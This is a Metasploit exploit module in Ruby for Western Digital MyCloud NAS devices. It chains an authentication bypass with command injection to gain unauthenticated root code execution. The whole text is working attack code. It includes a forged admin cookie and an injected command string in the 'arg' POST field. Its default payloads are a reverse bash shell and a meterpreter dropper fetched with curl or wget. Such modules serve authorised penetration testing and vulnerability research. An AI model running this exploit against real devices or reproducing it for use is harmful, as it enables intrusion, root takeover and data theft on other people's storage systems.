Western Digital MyCloud Unauthenticated Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Western Digital MyCloud unauthenticated command injection',  
'Description' => %q{  
This module exploits authentication bypass (CVE-2018-17153) and  
command injection (CVE-2016-10108) vulnerabilities in Western  
Digital MyCloud before 2.30.196 in order to achieve  
unauthenticated remote code execution as the root user.  
  
The module first performs a check to see if the target is  
WD MyCloud. If so, it attempts to trigger an authentication  
bypass (CVE-2018-17153) via a crafted GET request to  
/cgi-bin/network_mgr.cgi. If the server responds as expected,  
the module assesses the vulnerability status by attempting to  
exploit a commend injection vulnerability (CVE-2016-10108) in  
order to print a random string via the echo command. This is  
done via a crafted POST request to /web/google_analytics.php.  
  
If the server is vulnerable, the same command injection vector  
is leveraged to execute the payload.  
  
This module has been successfully tested against Western Digital  
MyCloud version 2.30.183.  
  
Note: based on the available disclosures, it seems that the  
command injection vector (CVE-2016-10108) might be exploitable  
without the authentication bypass (CVE-2018-17153) on versions  
before 2.21.126. The obtained results on 2.30.183 imply that  
the patch for CVE-2016-10108 did not actually remove the command  
injection vector, but only prevented unauthenticated access to it.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Erik Wynter', # @wyntererik - Metasploit  
'Steven Campbell', # CVE-2016-10108 disclosure and PoC  
'Remco Vermeulen' # CVE-2018-17153 disclosure and PoC  
],  
'References' => [  
['CVE', '2016-10108'], # command injection in /web/google_analytics.php via a modified arg parameter in the POST data.  
['CVE', '2018-17153'], # authentication bypass  
['URL', 'https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/'], # CVE-2018-17153 disclosure and PoC  
['URL', 'https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/'] # CVE-2016-10108 disclosure and PoC  
],  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Platform' => %w[linux unix],  
'Arch' => [ ARCH_ARMLE, ARCH_CMD ],  
'Targets' => [  
[  
'Unix In-Memory',  
{  
'Platform' => [ 'unix', 'linux' ],  
'Arch' => ARCH_CMD,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },  
'Type' => :unix_memory  
}  
],  
[  
'Linux Dropper', {  
'Arch' => [ARCH_ARMLE],  
'Platform' => 'linux',  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',  
'CMDSTAGER::FLAVOR' => :curl  
},  
'Type' => :linux_dropper  
}  
]  
],  
'CmdStagerFlavor' => ['curl', 'wget'],  
'Privileged' => true,  
'DisclosureDate' => '2016-12-14', # CVE-2016-10108 disclosure date  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'The base path to WD MyCloud', '/']),  
])  
end  
  
def check  
# sanity check to see if the target is likely WD MyCloud  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
})  
  
return CheckCode::Unknown('Connection failed.') unless res  
  
return CheckCode::Safe('Target is not a WD MyCloud application.') unless res.code == 200 && res.body.include?('var MODEL_ID = "WDMyCloud')  
  
print_status("#{rhost}:#{rport} - The target is WD MyCloud. Checking vulnerability status...")  
# try the authentication bypass (CVE-2018-17153)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'network_mgr.cgi'),  
'vars_get' => {  
'cmd' => 'cgi_get_ipv6',  
'flag' => 1 # this cannot be randomized according to the CVE-2018-17153 details  
}  
})  
  
return CheckCode::Unknown('Connection failed while attempting to trigger the authentication bypass.') unless res  
  
return CheckCode::Unknown("Received unexpected response code #{res.code} while attempting to trigger the authentication bypass.") unless res.code == 404  
  
# send a command to print a random string via echo. if the target is vulnerable, both the command and the command output will be part of the response body  
echo_cmd = "echo #{Rex::Text.rand_text_alphanumeric(8..42)}"  
print_status("#{rhost}:#{rport} - Attempting to execute #{echo_cmd}...")  
res = execute_command(echo_cmd, { 'wait_for_response' => true })  
  
return CheckCode::Unknown('Connection failed while trying to execute the echo command to check the vulnerability status.') unless res  
  
return CheckCode::Vulnerable('The target executed the echo command.') if res.code == 200 && res.body.include?(echo_cmd) && res.body.include?('"success":true')  
  
CheckCode::Safe('The target failed to execute the echo command.')  
end  
  
def execute_command(cmd, opts = {})  
request_hash = {  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'web', 'google_analytics.php'),  
'cookie' => 'username=admin',  
'vars_post' => {  
'cmd' => 'set',  
'opt' => 'cloud-device-num',  
'arg' => "0|echo `#{cmd}` #"  
}  
}  
  
return send_request_cgi(request_hash) if opts['wait_for_response']  
  
# if we are trying to execute the payload, we can just yeet it at the server and return without waiting for a response  
send_request_cgi(request_hash, 0)  
end  
  
def exploit  
if target.arch.first == ARCH_CMD  
print_status("#{rhost}:#{rport} - Executing the payload. This may take a few seconds...")  
execute_command(payload.encoded)  
else  
execute_cmdstager(background: true)  
end  
end  
end  
`